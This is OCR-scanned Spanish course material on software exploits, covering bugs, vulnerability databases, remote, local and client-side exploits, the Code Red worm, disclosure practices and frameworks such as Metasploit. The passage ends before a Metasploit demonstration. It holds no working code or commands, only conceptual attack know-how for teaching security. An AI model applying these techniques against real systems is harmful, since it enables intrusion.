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Introduccion

Los sistemas de informacién y comunicacion y el software en general han sido
realizados por personas y, por lo tanto, son susceptibles de contener errores
en su disefio o desarrollo. Asi pues, los problemas y errores en los programas

existen desde el inicio de la computacion.

Estos errores en el software se pueden producir por un mal disefio de la arqui-
tectura, una mala comprobacién de las premisas de entorno para las cuales
fue creado o, simplemente, por una implementacién errénea de las especifi-

caciones.

Un software que funciona correctamente es aquel que hace exactamente todo
aquello para lo que fue creado y disefiado. Sin embargo, el programa puede
ser correcto desde el punto de vista funcional pero a la vez puede ser inseguro.

Los errores en el software pueden ser utilizados para atacar el sistema y poner
en peligro su buen funcionamiento, ademas de la confidencialidad y el uso de
los datos que hay almacenados; a esto hay que afiadir que los errores pueden
ser utilizados como puerta de entrada para ejecutar cédigo malicioso.

Asi pues, es importante ser conscientes de los peligros que pueden comportar
estos errores y poner los medios adecuados para que no se produzcan.
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Objetivos

Al finalizar la lectura de este material, los estudiantes habran conseguido las

competencias siguientes:

Conocer qué es un exploit.

Conocer los diversos tipos de exploits.

Comprender el peligro que suponen los exploits.

Conocer los sistemas de explotacion.
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1. Bug

Los sistemas de informacién y comunicacion y el software en general han sido
realizados por personas y, por lo tanto, son susceptibles de contener errores
en su disefio o desarrollo. Asi pues, los problemas y errores en los programas

existen desde el inicio de la computacién.

Un bug es un error, un defecto o fallo en un programa o sistema informatico
que hace que se produzca un resultado incorrecto o inesperado o que se com-
porte de forma no prevista. La mayoria de los errores se deben a los errores
cometidos por las personas, ya sea en el desarrollo del c6digo de un programa
o de su disefio. Se tiene que tener en cuenta que los sistemas operativos y los
compiladores también son programas y, por tanto, pueden contener errores
que pueden ser los causantes de provocar que un software correctamente di-
sefiado y codificado no funcione como esta previsto, por ejemplo, a causa de
un error en el proceso de compilacién o en el momento de ser ejecutado por

el sistema operativo.

El uso del término bug para describir un defecto en el disefio o funcionamiento
de un sistema técnico se remonta a Thomas Edison en sus libros de notas del
afio 1878.

En el ambito de la computacién en concreto, el término bug tiene su origen
en 1947, cuando en la Universidad de Harvard un programa de los primeros
ordenadores, Mark II, funcionaba de manera errénea. Investigando el motivo
de aquel mal funcionamiento, descubrieron que era debido a una polilla que
se habia introducido en uno de los relés electromagnéticos.

Grace Murray Hopper, que se habia incorporado a la Universidad de Harvard
en el Laboratorio de Computacion y desarrollaba su tarea como programadora
del Mark II, recogi6 y engancho el insecto con cinta adhesiva en un papel y se
refiri6 a él como el bug ('bicho', en inglés) que habia causado el problema. Este
fue el primer caso en el que el término bug se referia explicitamente a errores

€1 un programa.
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Asi pues, se conocen como bugs los errores de programacion que se detectan

en un software.

Cuando se produce un error en el software, este puede ser utilizado por un
hacker o un atacante como puerta de entrada, e inyectar su c6digo para acceder
al sistema. En este punto el sistema pasa a ser vulnerable y susceptible de ser

atacado.
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2. Vulnerabilidades

Nos referimos a vulnerabilidad como debilidad de cualquier tipo que compro-
mete la seguridad del sistema informatico.

A continuacién se muestran algunas de las vulnerabilidades de los sistemas
informaticos agrupadas en funcion de:

¢ Disefio
— Debilidad en el disefio de protocolos utilizados en las redes.
— DPoliticas de seguridad deficientes o inexistentes.

¢ Implementacion
- Errores de programacion.

- Existencia de "puertas traseras" en los sistemas informaticos.

e Uso
- Mala configuracién de los sistemas informaticos.
- Desconocimiento y falta de sensibilizacién de los usuarios y de los res-
ponsables de informatica.
— Disponibilidad de herramientas que facilitan los ataques.
- Limitacién de tecnologias de seguridad.

Se tiene que tener en cuenta que una vulnerabilidad es un error que puede ser
utilizado directamente por un hacker para acceder a un sistema o red.

Enlace recomendado

Observatorio tecnologico: In-
troduccion a la seguridad infor-
madtica. Vulnerabilidades de un
sistema informdtico:

http://
recursostic.educacion.es/ob-
servatorio/web/es/compo-
nent/content/article/1040-in-
troduccion-a-la-seguridad-in-
formatica?start=3



http://recursostic.educacion.es/observatorio/web/es/component/content/article/1040-introduccion-a-la-seguridad-informatica?start=3
http://recursostic.educacion.es/observatorio/web/es/component/content/article/1040-introduccion-a-la-seguridad-informatica?start=3
http://recursostic.educacion.es/observatorio/web/es/component/content/article/1040-introduccion-a-la-seguridad-informatica?start=3
http://recursostic.educacion.es/observatorio/web/es/component/content/article/1040-introduccion-a-la-seguridad-informatica?start=3
http://recursostic.educacion.es/observatorio/web/es/component/content/article/1040-introduccion-a-la-seguridad-informatica?start=3
http://recursostic.educacion.es/observatorio/web/es/component/content/article/1040-introduccion-a-la-seguridad-informatica?start=3
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3. Bases de datos de vulnerabilidades

Actualmente hay varios organismos, fundaciones y empresas que se dedican a
recoger, catalogar y grabar las vulnerabilidades conocidas y las dan a conocer
publicamente a la comunidad, de manera que la informacién sobre vulnera-
bilidades se puede encontrar en varias bases de datos, repositorios y listas de
distribucién publicas open source o de iniciativa privada a través de la red.

Basicamente, la informacion es recopilada gracias a las aportaciones de la co-

Enlace recomendado

munidad, de los fabricantes, de los organismos gubernamentales, institucio-
CERT (Software Engineering
Institute). Vulnerability Repor-
disponibles buscadores que recopilan la informacion a partir de varias bases ting Form:
https://forms.cert.org/VulRe-
port/

nes y empresas publicas y privadas en el ambito de la seguridad. También hay

de datos y otras fuentes, de manera que la informaciéon de una misma vulne-

rabilidad se muestra a partir de multiples fuentes.

Aun asi, se tiene que tener en cuenta que puede haber vulnerabilidades que
no estén publicadas en ninguna base de datos e incluso que el fabricante to-
davia desconozca la existencia de una vulnerabilidad concreta en alguno de
sus productos. Ademads, cabe pensar, asimismo, que hay personas que cuando
encuentran una vulnerabilidad no la reportan a la comunidad, sino que hacen
negocio, ya sea explotandola para obtener un beneficio propio hasta que el
tabricante la descubra o vendiendo la informacion de la vulnerabilidad en el
mercado negro.

Cada base de datos tiene su propio sistema de codificacién y de identificaciéon
de vulnerabilidades. Ademads, una misma vulnerabilidad se puede encontrar
en varias bases de datos pero en codificaciones diferentes, aun tratindose de
la misma.

Sin embargo, en general, todas estas bases de datos aportan informacién adi-
cional de gran interés, como por ejemplo, tipo de vulnerabilidad, descripcién,
consecuencias, entornos y software afectado, parches de soluciones, preven-

ciones, asi como fecha de su descubrimiento y demas informacién de interés.

Hay una gran diversidad de bases de datos, algunas de las cuales se muestran

a continuacioén.

3.1. Secunia

Secunia' dispone de una base de datos muy amplia, con mas de 48.000 pro-  ’Secunia: http://secunia.com/

. . . P . community/advisories/search/.
ductos, que incluye software y sistemas operativos de mas de 8.000 fabricantes. Y


https://forms.cert.org/VulReport/
https://forms.cert.org/VulReport/
http://secunia.com/community/advisories/search/
http://secunia.com/community/advisories/search/
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Ademads, diariamente se incorporan nuevo software y sistemas operativos a la
base de datos a través de sugerencias de clientes de software e informes de
vulnerabilidades.

Buscador de vulnerabilidades de Secunia

» Home » Community » Advisories » Search

Advisories Research F% Create Profile W

Database Search Advisories by Product  Advisories by Vendor  Terminology Report Vulnerability Insecure Library Loading

Search the Secunia Advisory and Vulnerability Database

Search terms can reference the advisory headline, body text, related software/OS, or CVE Reference. You can enclose search terms with * and *
for more accurate search resuits.
Simple Search

Search within: Criticality Level:
Headline .
Software/0S Extremely critical
Highly critical
Body Text Moderately critical v

CVE Reference

Impact:

Brute force From local network

Cross Site Scripting From remote

DoS v Local system v

Datos de vulnerabilidades de Oraculo Java

Advisories R_Asnardl Forums Create Profile Our cammnmﬂ
——— ———

Database Search by Product by Vendor Report y Insecure Library Loading
Oracle Java Three Vulnerabilities
Secunia Advisory SA50133 Release Date: 2012-08-27 Last Update: 2012-12-24 Views: 120,723
Where: From remote
Impact: System access

Solution Status: Vendor Patch

Software: @ Oracle Java JDK 1.7.x/7.x @ Oracle Java JRE 1.7.x/7x
CVE Reference(s): CVE-2012-0547 CVE-2012-1682 CVE-2012-3136 CVE-2012-4681
Description

Three wulnerabilities have been reported in Oracle Java, which can be exploited by malicious people to compromise a users
system.

1) An error in how the “setSecurityManager()” function can be called can be exploited by an applet to set its own privileges to e.g.
allow and arbitrary p

NOTE: This is currently being actively exploited in targeted attacks.
2) An error when handling reflections within the java.beans.Expression class can be exploited to compromise a users system.
3) An unspecified error in the Beans sub-component can be exploited to compromise a user's system.

ofthe i allows of arbitrary code, but applies to client deployment only as the
vulnerabilities are exploited through Java Web Start and Java applets.

Solution:
Update to version 7 Update 7.

Provided and/or discovered by:
2) James Forshaw (tyranid) via ZDI

Reported as a 0-day.

The vendor also credits Adam Gowdiak, Security Explorations.

Original Advisory:

Oracle

hitp:/iwww.oracle. cve-2012-4681-1835715.html
hitps://blogs.oracle.com/security/entry/security_alert_for_cve_20121

FireEye:

hitp://blog fireeye.c ch/201. -day t- yet htmi
ZDI;

http: 12-12/0214.html

Deep Links:

Links ave
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3.2. National Vulnerability Database

NVD? es un repositorio del gobierno de Estados Unidos. Se trata de una base ©®National Vulnerability Databa-
se: http://nvd.nist.gov/.

de datos publica que mantiene informacion estandarizada sobre vulnerabili-

dades. Esta gestion permite la automatizacion de las medidas y gestion de vul-
nerabilidades, y también incluye bases de datos de listas de control de seguri-
dad, fallos de software relacionados con la seguridad, errores de configuracion,
nombres de productos y métricas de impacto.

Buscador de vulnerabilidades de NVD
Sponsored by Y /;{\ ¥ ler

DHS National Cyber Security Division/US-CERT | National Institute of
. Standards and Technology

National Vulnenahility Database

automating vulnerability managem L ity measurement, and compliance checking
Vulnerabilities Checklists 800-53/800-53A Product Dictionary Impact Metrics Data Feeds Statistics

Home |scap |scap d Tools |ScAP Events |About  |contact | vendor Comments
Mission and Overview

EraTa Search CVE and CCE Vulnerability Database

government repository of (Advanced Search)
standards based

= Keyword search: Search
vulnerability management 4
gata jlissidatalenables Try a product or vendor name
automation of Try a CVE standard vulnerability name or OVAL query
vulnerability Only vulnerabilities that match ALL keywords will be returned
management, security Linux kernel vulnerabilities are categorized separately from vulnerabilities in specific Linux distributions

measurement, and B
compliance (e.g. FISMA). (® Search All
JSearch Last 3 Months
SSCite S D Search Last 3 Years
NVD contains:
61866 CVE Vulnerabilities

231 Checdists Software Flaws (CVE)

zé‘;z UsS-CERT Alerix Misconfigurations (CCE), under development
US-CERT Vuln Notes

Show only vulnerabilities that have the following associated resources:

10286 QVAL Qusries [JUS-CERT Technical Alerts
87968 CPE Names [JUS-CERT Vulnerability Notes
Last updated: 4/27/2014 [JOVAL Queries

Web gel buscador de vulnerabilidades de NVD: http://web.nvd.nist.gov/view/vuln/searchhttp://web.nvd.nist.gov/view/vuln/
search.

Informacién de una vulnerabilidad que afecta a Internet Explorer 9y 10

National Cyber Awareness System

ulnerability Summary for CVE-2014-0322
Original release date: 02/14/2014
Last revised: 03/16/2014
Source: US-CERT/NIST
Overview
Use-after-free vulnerability in Microsoft Internet Explorer 9 and 10 allows remote attackers to execute

arbitrary code via vectors involving crafted JavaScript code, as exploited in the wild in January and February
2014.

Impact
CVSS Severity (version 2.0):
CVSS v2 Base Score: 9.3 (HIGH) (AV:N/AC:M/AU:N/C:C/I:C/A:C) (legend)

Impact Subscore: 10.0

Exploitability Subscore: 8.6
CVSS Version 2 Metrics:

Access Vector: Network exploitable; Victim must voluntarily interact with attack mechanism
Access Complexity: Medium

Authentication: Not required to exploit

Impact Type: Allows unauthorized disclosure of information; Allows unauthorized modification; Allows
disruption of service

References to Advisories, Solutions, and Tools

By selecting these links, you will be leaving NIST webspace. We have provided these links to other web sites
because they may have information that would be of interest to you. No inferences should be drawn on
account of other sites being referenced, or not, from this page. There may be other web sites that are more
appropriate for your purpose. NIST does not necessarily endorse the views expressed, or concur with the
facts presented on these sites. Further, NIST does not endorse any commercial products that may be
mentioned on these sites. Please address comments about this page to nvd@nist.gov.

US-CERT Vulnerability Note: CERT-VN
Name: VU#732479
Hyperlink: http://www.kb.cert.org/vuls/id/732479



http://web.nvd.nist.gov/view/vuln/searchhttp://web.nvd.nist.gov/view/vuln/search
http://web.nvd.nist.gov/view/vuln/searchhttp://web.nvd.nist.gov/view/vuln/search
http://nvd.nist.gov/
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3.3. Common Vulnerabilities and Exposures

CVE® es un diccionario de conocimiento ptiblico sobre las vulnerabilidades de

seguridad, en el que cada referencia tiene un ntimero de identificacién anico.

De esta forma provee una nomenclatura comun para el conocimiento ptblico,

que permite el intercambio de datos entre los productos de seguridad.

Informacién de una vulnerabilidad que afecta a Internet Explorer 11

B

CVE LIST COMPATIBILITY NEWS — APRIL 17, 2014

SEARCH

Common Vulnerabilities and Exposures
The Standard for Information Security Vulnerability Names

New CVE-ID Format as of January 1, 2014 — learn more

TOTAL CVEs: 61138

HOME > CVE > CVE-2014-1760

About CVE
Terminology
Documents

FAQs

CVE List

CVE-ID Syntax Change
About CVE Identifiers
Search CVE

Search NVD

Updates & RSS Feeds
Request a CVE-ID

CVE In Use
CVE-Compatible Products

NVD for CVE Fix
Information

CVE Numbering
Authorities

News & Events
Calendar

Free Newsletter
Community

CVE Editorial Board
Sponsor

Contact Us
Search the Site
Site Map

Printer-Friendly View

CVE-2014-1760 Learn more at National Vulnerability
Database (NVD)

« Severity Rating « Fix Information « Vulnerable
Software Versions « SCAP Mappings

Microsoft Internet Explorer 11 allows remote attackers to execute arbitrary
code or cause a denial of service (memory corruption) via a crafted web
site, aka "Internet Explorer Memory Corruption Vulnerability."

References

Note: References are provided for the convenience of the reader to help
distinguish between vulnerabilities. The list is not intended to be complete.

* MS:MS14-018
* URL:http://technet.microsoft.com/security/bulletin/M514-018

Date Entry Created

20140129 Disclaimer: The entry creation date may reflect
when the CVE-ID was allocated or reserved, and
does not necessarily indicate when this vulnerability
was discovered, shared with the affected vendor,
publicly disclosed, or updated in CVE.

Phase (Legacy)
Assigned (20140129)
Votes (Legacy)

Comments (Legacy)

Proposed (Legacy)
N/A

This is an entry on the CVE list, which standardizes names for security problems.

SEARCH CVE USING KEYWORDS: ‘ Submit
You can also search by reference using the CVE Reference Maps.

For More Information: cve@mitre.org

CVE List

CVE-ID Syntax Change
CVE Usage of CVRF
About CVE Identifiers
Editorial Policies

Data Sources/Product
Coverage

Reference Key/Maps
Search Tips

Updates & RSS Feeds
Request a CVE Identifier
ITEMS OF INTEREST

Terminology
NVD

® Common Vulnerabilities and Expo-
sures: http://cve.mitre.org/.



http://cve.mitre.org/
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4. Exploits

Un exploit es el c6digo que permite a un atacante/testador aprovechar una vul-
nerabilidad del sistema y comprometer su seguridad, o causar un comporta-
miento no deseado o imprevisto del sistema. Se trata de un programa que con-
sigue provocar el error aprovechando la vulnerabilidad de otro programa. Una
vez ha provocado el error, lo aprovecha para inyectar un cédigo o un payload
para que sea ejecutado y asi obtener el control del sistema atacado, o realizar
algin otro tipo de ataque con otras finalidades.

Payload es el codigo que se ejecuta en el destino atacado al ejecutarse un ex-
ploit. Es decir, el exploit provoca el error del sistema aprovechando una vulne-
rabilidad e inyecta un payload con el c6digo que se quiere que se ejecute en
la maquina atacada. Normalmente, se trata de una secuencia de instrucciones
en lenguaje ensamblador con el objetivo de ejecutarse en el sistema de destino
para crear acciones, como por ejemplo, crear un usuario en el sistema remoto,

ejecutar alguna linea de pedidos y enlazarlo a un puerto local, etc.

Se tiene que tener en cuenta que un payload puede ser utilizado por varios

exploits y que un mismo exploit puede utilizar varios payloads.
4.1. Exploits remotos

Un ataque remoto puede ser iniciado desde una ubicacién diferente de la del
equipo de la victima, funciona en una red o a través de Internet y explota
la vulnerabilidad de seguridad sin acceso previo al sistema vulnerable de la

victima.

Enlaces recomendados
Code Red:

National Vulnerability Database: http://web.nvd.nist.gov/view/vuln/de-
tail?vulnld=CVE-2001-0500

Common Vulnerabilities and Exposures: http://www.cve.mitre.org/index.html
CVE-2001-0500 Buffer overflow in ISAPI extension: http://www.cve.mitre.org/cgi-bin/
cvename.cgi?name=CVE-2001-0500http://www.cve.mitre.org/cgi-bin/cvename.cgi?
name=CVE-2001-0500

Microsoft Security Bulletin:

MS01-033 - Critical: https://technet.microsoft.com/library/security/ms01-033

MS01-044 - Critical: https://technet.microsoft.com/library/security/ms01-044


http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0500
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0500
http://www.cve.mitre.org/index.html
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0500http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0500
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0500http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0500
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0500http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0500
https://technet.microsoft.com/library/security/ms01-033
https://technet.microsoft.com/library/security/ms01-044
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La gran extension de Internet facilita la difusién del software malicioso a través
de la red de software malicioso; por ejemplo, un gusano que se difunde por la
red como Sasser, Blaster o Code Red debe disponer de una forma para copiarse
de una maquina a otra; por ejemplo, estos gusanos aprovechaban servicios de
red vulnerables explotables en remoto.

Code Red

Code Red se puso en Internet el dia 13 de julio del afio 2001.

1) El gusano Code Red intenta conectarse al puerto TCP 80 en un servidor elegido al
azar. Después de una conexion satisfactoria con el puerto 80, el servidor atacante en-
via una solicitud GET HTTP a la victima, intentando aprovechar un desbordamiento
de memoria en el Indexing Service tal y como se describi6é en la publicacién CERT
CA-2001-13.

2) El mismo exploit (peticiéon HTTP GET) se envia a cada uno de los servidores selec-
cionados de forma aleatoria causando una autopropagacion del gusano.

3) Si el exploit tiene éxito, el gusano empieza a ejecutarse en el servidor de la victima.
En las primeras versiones, el gusano permitia ejecutar c6digo inyectado en memoria
para hacer un defacement, es decir, una suplantacion de la pagina principal del servi-
dor web, y aparecia el siguiente mensaje:

HELLO! Welcome to http://www.worm.com! Hacked By Chinese!

En muchas ocasiones los ataques son una combinacién de un acceso remoto
y posteriormente la realizaciéon de un ataque a una aplicacion local aprove-
chando agujeros de seguridad de las aplicaciones cliente. En general, consiste
en servidores que intentan acceder a una aplicacién cliente y una vez lo con-
siguen, envian un exploit para ser ejecutado.

Un ejemplo de este tipo de exploit temoto es el que se produce en varias ver-
siones de Internet Explorer aprovechando una vulnerabilidad en el CShared
Style Sheet. Esta vulnerabilidad permite a atacantes remotos ejecutar codigo
arbitrario o causar una denegacion de servicio a través de una regla @importe
autorreferencial en una hoja de estilo, también conocida como "Vulnerabili-

dad de corrupcién de memoria CSS".

4.2. Exploits locales

Un exploit local requiere acceso previo al sistema vulnerable, se ejecuta local-
mente en el equipo y en general eleva los privilegios al nivel del administrador
o de root para que el exploit pueda tener un control total del sistema; también
es posible usar varios exploits, primero para obtener acceso de bajo nivel, y
después escalar privilegios varias veces hasta llegar a la raiz (root) o a nivel de

administrador.

Enlaces recomendados

Software Engineering Insti-
tute:

"Code Red" Worm Ex-
ploiting Buffer Over-

flow In IIS Indexing
Service DLL: http://
www.cert.org/historical/advi-
sories/CA-2001-19.cfm
Buffer Overflow In IIS In-
dexing Service DLL: http://
www.cert.org/historical/advi-
sories/CA-2001-13.cfm

Enlaces recomendados

Common Vulnerabi-
lities and Exposures.
CVE-2010-3971: http://
www.cve.mitre.org/
cgi-bin/cvename.cgi?
name=CVE-2010-3971
National Vulnerabi-
lity Database: http://
web.nvd.nist.gov/view/
vuln/de-
tail?vulnld=CVE-2010-3971

Enlaces recomendados

The Downadup

Codex: http://
www.symantec.com/con-
tent/en/us/enterprise/me-
dia/security_response/
whitepapers/
the_downadup_codex_ed1.pdf
Conficker: http://
en.wikipedia.org/wiki/Con-
ficker
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http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3971
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3971
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3971
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Algunos exploits también se pueden distribuir localmente a través de dis-
positivos de almacenamiento USB. Por ejemplo, esta fue una de las vias
que utiliz6 para su propagacion el gusano Conficker, también denominado
W32.Downadup, asi como en sus variantes B y C. También utilizaron esta via
W32.Spybot, W32.Randex y W32.Mytob.

4.3. Client Side

Los ataques Client Side buscan aprovecharse de vulnerabilidades que tipica-
mente se encuentran en las aplicaciones cliente, las cuales estan instaladas en
gran parte de las estaciones de trabajo de las organizaciones. Algunos ejemplos
de este software son las aplicaciones de ofimética, como Microsoft Office u
Open Office, lectores de PDF, como Adobe Acrobat Reader, navegadores de In-
ternet, como Internet Explorer, Firefox, Chrome o Safari, e incluso reproduc-
tores multimedia, como Windows Media Player, Winamp o iTunes.

En estos casos, el exploit esta dentro de un archivo con un formato soportado
por alguna de estas y que llega a la maquina objetivo por medios como email
o pendrive. Este tipo de ataque requiere de la intervencién del usuario puesto
que se necesita que el usuario abra el archivo, clique algin enlace o realice

alguna accién en concreto.

Asi pues, se trata de software malicioso que aparece como fichero o software
aparentemente fiable. Se trata de ficheros con un formato conocido, como por
ejemplo ZIP, RAR, MPEG, Mp3, JPG, etc., pero que en realidad incorporan co6-
digo malicioso de forma intencionada. Por ejemplo, se pueden utilizar fiche-
ros Mp3 maliciosos que explotan una vulnerabilidad en un reproductor de
audio, y a partir de aqui ejecutar instrucciones de destruccién, enviar datos del
sistema atacado a un servidor, conectarse a un servidor y descargar software
malicioso, etc.

Un ejemplo de este tipo de vulnerabilidad es el desbordamiento de memoria
provocado en un fichero JPEG que permite a atacantes remotos ejecutar codi-
go arbitrario a través de una imagen JPEG. El identificador de esta vulnerabi-
lidad por CVE (Common Vulnerabilities and Exposures) es CVE-2004-0200 y fue
documentado también por Microsoft en su boletin de seguridad MS04-028.

Estos exploits se pueden explotar de manera local enviando a un usuario un
fichero mal formado para que lo abra. Por ejemplo, una de las dindmicas que
se suele utilizar es enviar un fichero aparentemente inofensivo a través de un
correo electronico; o también se pueden explotar estos errores creando una
péagina web que cargue automaticamente el conector de un software vulnera-
ble y un fichero mal formado, o utilizando la publicacién de estos exploits con

nombres sugerentes en las redes de intercambios de archivos P2P.

Enlaces recomendados

Buffer overflow in the
JPEG:

Common Vulnerabi-

lities and Exposures.
CVE-2004-0200: http://
Www.cve.mitre.org/
cgi-bin/cvename.cgi?
name=CAN-2004-0200
Microsoft Security Bulletin
MS04-028 - Critical: https://
technet.microsoft.com/li-
brary/security/ms04-028



http://www.cve.mitre.org/index.html
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0200
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0200
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0200
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0200
https://technet.microsoft.com/library/security/ms04-028
https://technet.microsoft.com/library/security/ms04-028
https://technet.microsoft.com/library/security/ms04-028
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Los ataques contra las aplicaciones cliente también pueden requerir algin tipo
de interaccién con el usuario y, por lo tanto, pueden ser utilizados en combi-
nacion con el método de ingenieria social.



CC-BY-NC-ND « PID_00217347 18 Exploits

5. Tipo de exploits

5.1. Zero-day

Una vulnerabilidad de dia-cero se refiere a un agujero o vulnerabilidad en el Enlaces recomendados
software que es desconocido para el fabricante o desarrollador. Es decir, este

. . Pctools by Syman-
agujero de seguridad puede ser explotado por los hackers antes de que el ven- tec. Zero-day: http://
dedor lo descubra y se apresure a crear un parche para eliminar su vulnerabi- www.pctools.com/secu-
. rity-news/zero-day-vulnerabi-
lidad. lity/

WatchGuard. Zero

. p P . . . day protection: http://
Los exploits de dia-cero son los mas peligrosos para la industria del software. Wv};‘f; impulsotecnorl)ogico.com/

El peligro principal estd en que el problema, la vulnerabilidad, no se ha hecho empresa-madrid/wp-con-
tent/uploads/informati-

publica, solo la conocen las personas que la han descubierto y ni el fabricante ca/wg_utm_zeroday_es.pdf

o desarrollador ni la comunidad en general conocen su existencia. Estos son
los més cotizados y los que procuran ser captados por la industria del software

malicioso, mafias, mercado negro y las empresas de seguridad.

Actualmente, la mayoria de versiones actualizadas de sistemas operativos y
software de seguridad, por ejemplo los antivirus, ofrecen proteccién de dia-
cero. Esta proteccién consiste en la habilidad de proporcionar proteccién con-
tra vulnerabilidades dia-cero con técnicas como la de controlar los desborda-
mientos de memoria intermedia.

Aun asi, el peligro continta existiendo, ya que en muchas ocasiones los hackers Enlace recomendado
encuentran la forma de saltarse estas protecciones y consiguen sus objetivos.

ArsTechnica:

] . New attack completely
Los exploits catalogados como de dia-cero se refieren a los exploits que en su bypasses Microsoft ze-
ro-day protection app:
http://arstechnica.com/se-
jan de ser exploits de dia-cero. De media, un dia-cero puede estar en funciona- curity/2014/02/new-attack-

; P . . s completely-bypasses-micro-
miento 350 dias hasta que es descubierto por los cibercriminales y arreglado soft-zero-day-protection-app/

momento lo fueron, puesto que en el momento en que se hacen publicos de-

por la industria.

5.2. Full disclosure

Full disclosure es la practica de publicar la informacién de las vulnerabilidades
en el mismo momento en que se descubre, de manera que sea accesible para
todo el mundo; por tanto, las victimas potenciales estan informadas de como
pueden ser atacadas y los fabricantes pueden desarrollar el parche. Algunos
autores denominan a estos exploits de dia 1, puesto que se conoce el error pero

todavia no hay parche.


http://www.pctools.com/security-news/zero-day-vulnerability/
http://www.pctools.com/security-news/zero-day-vulnerability/
http://www.pctools.com/security-news/zero-day-vulnerability/
http://www.pctools.com/security-news/zero-day-vulnerability/
http://www.impulsotecnologico.com/empresa-madrid/wp-content/uploads/informatica/wg_utm_zeroday_es.pdf
http://www.impulsotecnologico.com/empresa-madrid/wp-content/uploads/informatica/wg_utm_zeroday_es.pdf
http://www.impulsotecnologico.com/empresa-madrid/wp-content/uploads/informatica/wg_utm_zeroday_es.pdf
http://www.impulsotecnologico.com/empresa-madrid/wp-content/uploads/informatica/wg_utm_zeroday_es.pdf
http://www.impulsotecnologico.com/empresa-madrid/wp-content/uploads/informatica/wg_utm_zeroday_es.pdf
http://arstechnica.com/security/2014/02/new-attack-completely-bypasses-microsoft-zero-day-protection-app/
http://arstechnica.com/security/2014/02/new-attack-completely-bypasses-microsoft-zero-day-protection-app/
http://arstechnica.com/security/2014/02/new-attack-completely-bypasses-microsoft-zero-day-protection-app/
http://arstechnica.com/security/2014/02/new-attack-completely-bypasses-microsoft-zero-day-protection-app/
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5.3. Responsible disclosure

En este caso el fabricante descubre o es informado del error pero no se hace
publico. Cuando el fabricante tiene disponible el parche y lo pone a disposi-
cion de los clientes es cuando se da a conocer y se hace puablico. Este sistema
es muy comun en las grandes empresas de software como Microsoft, donde
se aplica el principio de no publicar nada que pueda afectar a la seguridad de

sus clientes.
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6. Sistemas de explotacion

Hay varias formas de explotacion, desde una explotacién manual hasta la uti-
lizacién de frameworks especificos. Aun asi, se tiene que tener en cuenta que
los sistemas de explotacion son sistemas de pruebas o para testear software.

6.1. Explotacion manual

Crear un programa para que se convierta en un exploit requiere conocer mu-
chos detalles de los sistemas objeto de destino; por ejemplo, no es lo mismo un
sistema operativo como Windows con o sin un service pack instalado y a la vez
contemplar las diferentes versiones de service pack, asi como tener en cuenta
las diversas opciones de idioma. Al mismo tiempo se tienen que conocer otros
temas asociados, como protocolos, arquitectura del sistema objetivo, lenguaje
de bajo nivel, scripting, etc.

Tener en cuenta todos estos aspectos hace que sea una tarea laboriosa y que
requiera un gran esfuerzo, lo que ha hecho que hayan aparecido entornos para
crear de forma automatizada exploits que funcionen en varias plataformas.

6.2. Fuzzing

Fuzzing es una técnica de pruebas de caja negra para testear el software u otros

Enlace recomendado

aspectos del sistema. Basicamente consiste en la investigacién de errores o vul-

OWASP (Open Web Ap-

plication Security Pro-

dos, inesperadas o al azar, de forma automatizada y aleatoria. ject). Fuzzing: https://
www.owasp.org/index.php/
Fuzzing

nerabilidades de implementacion mediante la inyecciéon de datos mal forma-

6.3. Frameworks de explotacion

Existen varios frameworks de explotacion, algunos de estos frameworks son, por
ejemplo, Metasploit, Core Impact, Immunity Canvas, BeEF, Kali Linux, etc.

Enlaces recomendados
Metasploit: http://www.metasploit.com/
Core Impact: http://www.coresecurity.com/
Immunity Canvas: https://www.immunitysec.com/products-canvas.shtml
BeEF The browser exploitation framework project: http://beefproject.com/
Kali Linux: http://www.kali.org/
Se trata de herramientas de prueba de penetracion para testear software desde

el punto de vista de la seguridad y permiten ejecutar exploits contra un objetivo
determinado.


http://www.metasploit.com/
http://www.coresecurity.com/
https://www.immunitysec.com/products-canvas.shtml
http://beefproject.com/
http://www.kali.org/
https://www.owasp.org/index.php/Fuzzing
https://www.owasp.org/index.php/Fuzzing
https://www.owasp.org/index.php/Fuzzing
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Uno de los beneficios es que permiten la modularizacién del cédigo de explo-
tacion, dado que permiten que un mismo exploit aplique varios payloads en lu-
gar de crear un cédigo para explotar solo un tipo de ataque, como por ejemplo,
crear un usuario o ejecutar un pedido en la consola (shell) del sistema atacado.

De los varios frameworks de explotacién, a continuacién nos centraremos en
el de Metasploit y Kali Linux.

6.3.1. Metasploit

Metasploit es un proyecto open source de seguridad informatica que incorpora
un entorno para la creacién y ejecucion de exploits, a la vez que proporciona
informacion sobre vulnerabilidades de seguridad y también incorpora softwa-
re para realizar pruebas de penetracion.

Metasploit tiene disponibles varias herramientas de test de penetracion. Aun

asi, todas ellas estdn basadas en el Metasploit Framework* que proporciona una
consola de pedidos y una interfaz de usuario en entorno web. Este entorno
tiene como nucleo el MSF Core, que es el responsable de implementar todas
las interfaces necesarias que permiten interactuar con los exploits, sesiones y

plugins.

A continuacién se muestra un ejemplo utilizando la consola de Metasploit y
que creard un usuario en una maquina remota aprovechando una vulnerabi-
lidad del Windows XP.

La simulacién de ordenador remoto se ha realizado en un entorno de virtua-
lizacion Oracle VM VirutalBox. Se han dejado los pardmetros que vienen por
defecto, excepto el del apartado de Red, donde el parametro de “Conectado a:”
se ha cambiado por el valor de: “Adaptador puente”.

Como ordenador local se ha utilizado un entorno Windows 8.1 sin virtuali-

zacion.

La maquina remota, en este ejemplo, es un ordenador con Windows XP con
el Service Pack 3 instalado, pero sin instalar més actualizaciones de las que
